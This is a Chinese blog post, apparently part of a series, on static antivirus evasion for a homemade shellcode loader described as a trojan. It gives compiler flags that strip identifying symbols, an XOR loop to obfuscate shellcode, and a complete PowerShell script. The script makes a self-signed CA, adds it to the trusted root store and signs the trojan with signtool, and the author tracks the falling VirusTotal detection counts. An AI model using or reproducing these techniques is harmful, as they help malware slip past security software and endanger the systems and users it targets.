书接上回,在做出来原生的 loader ,具备了一定程度的免杀之后,我们再来进一步
鄙人技术浅陋,经网上四处观看浏览总结得此文,如有不足希望师傅们多包容⊙﹏⊙
下面开始正文喵
静态免杀手段
调试信息
先发手法和结果
编译的时候添加如下参数:
//我是在 VScode 中编辑完 cpp 文件之后然后命令行编译的喵
g++ btiary.cpp -o btiary.exe -O2 -s -fno-ident -fomit-frame-pointer
然后再上vt:

真的减少了一些检出喵
g++ 默认编译时会部分保留调试符号,如果加了 -g 参数,会生成完整调试信息,符号表中会包含函数名、变量名(比如你的 main 函数、shellcode 数组名),杀软可能通过符号表快速识别程序功能
至于项目编译时的路径也会有,一并清除掉,就可以了喵,虽然我觉得没清除的时候多的3个检出是因为 shellcode 的数组名的锅(
shellcode 混淆
加密编码之类的混淆…不会有太大帮助的,之前只加个 loader 就免杀掉的杀软可能有用,但是没必要,没被免杀掉的强大一点的杀软也不可能编码加密一下 shellcode 就解决了
实际实现可以试试 xor
for (int i = 0; i < sizeof shellcode; i++)
{
((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) ^ '\x35';
}
签名
具体介绍上上集说过了喵
可以自己做一个证书颁发机构和代码签名证书,给自己的🐎签个名,就可以了,下面说一下怎么实现这个功能
ps脚本
给出直接可以实现的脚本了喵:
#Requires -Version 5.1
param(
[string]$BaseName = "Ric3G0d",
[string]$Publisher = "CN=Ric3G0d CA",
[string]$EndEntityCN = "CN=Ric3G0d Cert",
[string]$TimestampUrl = "http://timestamp.sectigo.com",
[string]$ExeToSign = "bitaryyyy.exe"
)
$ErrorActionPreference = "Stop"
Set-StrictMode -Version Latest
function New-CertPath {
param($File)
Join-Path $PSScriptRoot ($BaseName + $File)
}
#生成自签名的根证书(CA)
$caCert = New-SelfSignedCertificate `
-Subject $Publisher `
-KeyAlgorithm RSA `
-KeyLength 2048 `
-HashAlgorithm SHA256 `
-KeyExportPolicy Exportable `
-KeyUsage CertSign,CRLSign `
-TextExtension @("2.5.29.19={text}CA=1") `
-CertStoreLocation "Cert:\CurrentUser\My"
#根证书导入 “受信任的根证书颁发机构”
$store = New-Object System.Security.Cryptography.X509Certificates.X509Store `
-ArgumentList "Root","CurrentUser"
$store.Open("ReadWrite")
$store.Add($caCert)
$store.Close()
#用根证书签发一张代码签名终端实体证书
$endCert = New-SelfSignedCertificate `
-Subject $EndEntityCN `
-Signer $caCert `
-KeyAlgorithm RSA `
-KeyLength 2048 `
-HashAlgorithm SHA256 `
-KeyExportPolicy Exportable `
-KeyUsage DigitalSignature `
-TextExtension @("2.5.29.37={text}1.3.6.1.5.5.7.3.3") `
-CertStoreLocation "Cert:\CurrentUser\My"
#导出 PFX(含私钥)供 signtool 使用
$pfxPath = New-CertPath "Cert.pfx"
$securePwd = ConvertTo-SecureString -String "1234" -Force -AsPlainText
Export-PfxCertificate -Cert $endCert -FilePath $pfxPath -Password $securePwd | Out-Null
#签名 PE 文件
$signtool = "C:\Program Files (x86)\Windows Kits\10\bin\10.0.26100.0\x64\signtool.exe"
if (-not $signtool) {
# 自动搜索 Windows 10/11 SDK 常见路径
$sdkPaths = @(
"${env:ProgramFiles(x86)}\Windows Kits\10\bin\*\x64\signtool.exe",
"${env:ProgramFiles(x86)}\Windows Kits\11\bin\*\x64\signtool.exe"
)
$signtool = Resolve-Path $sdkPaths -ErrorAction SilentlyContinue | Select-Object -First 1
}
& $signtool sign /v /fd sha256 /f $pfxPath /p 1234 /tr $TimestampUrl /td sha256 $ExeToSign
代码逻辑就不解释了喵,还挺可读的,实在不行去问 ai 喵(绝对不是因为我懒
param 里面的命名等东西都是可以修改的,随便起名字
放在准备被签名的🐎同目录下运行
Set-ExecutionPolicy -Scope Process Bypass
.\Generate-CodeSignCerts.ps1 -ExeToSign "你的🐎"
有如下的效果就是成功了

成功后查看一下属性

可以看到被我们自己给签名了哈哈
再次上 vt 看看

少了一个,虽然总的有检测的数量少了(我也不知道这个数字为什么还总不太一样)但是确实是从已经检出的16个中减少了一个,对于技术验证的意义是有的,因为做免杀最终的对手肯定是那些主流的强力对手,在技术验证的路上便被一脚踢死的轻量级杀软少参与进来几个无伤大雅
为什么这么说呢,其实真的不是狡辩:
这是我上一集做的原生 loader 的马,在撰写这一集时候的实时再测一次的检出率:

可以回去翻一下上一集,当时是19/72,还是有点无语,而且其实本集开头的 16/72 也是在写完上一集之后随即测了的,只不过和本集一块发的,啊卧槽 vt 怎么这么坏
传上在线沙箱确实是有让自己的免杀失效的风险的,相比原本版本涨了一大截的检出率来说,后续的操作能压低回到原本15-20个检出的水平,是可以侧面验证技术有效性的
不过目前写到的这些,实战意义也不大,涨了也就涨了,攻防遇到强对抗环境还是要针对性的去用免杀马的,也不可能指着文章中这个🐎去 bypass 那些强力杀软喵
静态免杀暂且记录这些,其他的手法很多,但是再叠加起来使用的意义不大,检出率达到10+的时候,叠加更多较为低端的手段毫无意义,这些手段添加两三个便可以 bypass 大部分的低水平对手,剩下的高水平的杀软再用这些伎俩也不会有什么效果
这集可能短一点了喵,下一集说说动态免杀的一些技巧
另外要提的一句就是,技术具有一定的时效性,在网上查阅文章,学习其他师傅的技术时,我注意到一些其他的静态免杀技术,但当我测试他们的时候,我发现几乎不奏效(传说在2020年,上述我所写的内容结合更换为x64架构绑定 shell 的 shellcode,以及一些其他很简单的技术,能把 vt 的检出率干到 3/72 甚至更低)
现在显然不行了喵,随便写一点静态免杀能下10个检出都不太可能,杀软的检测技术也在进步
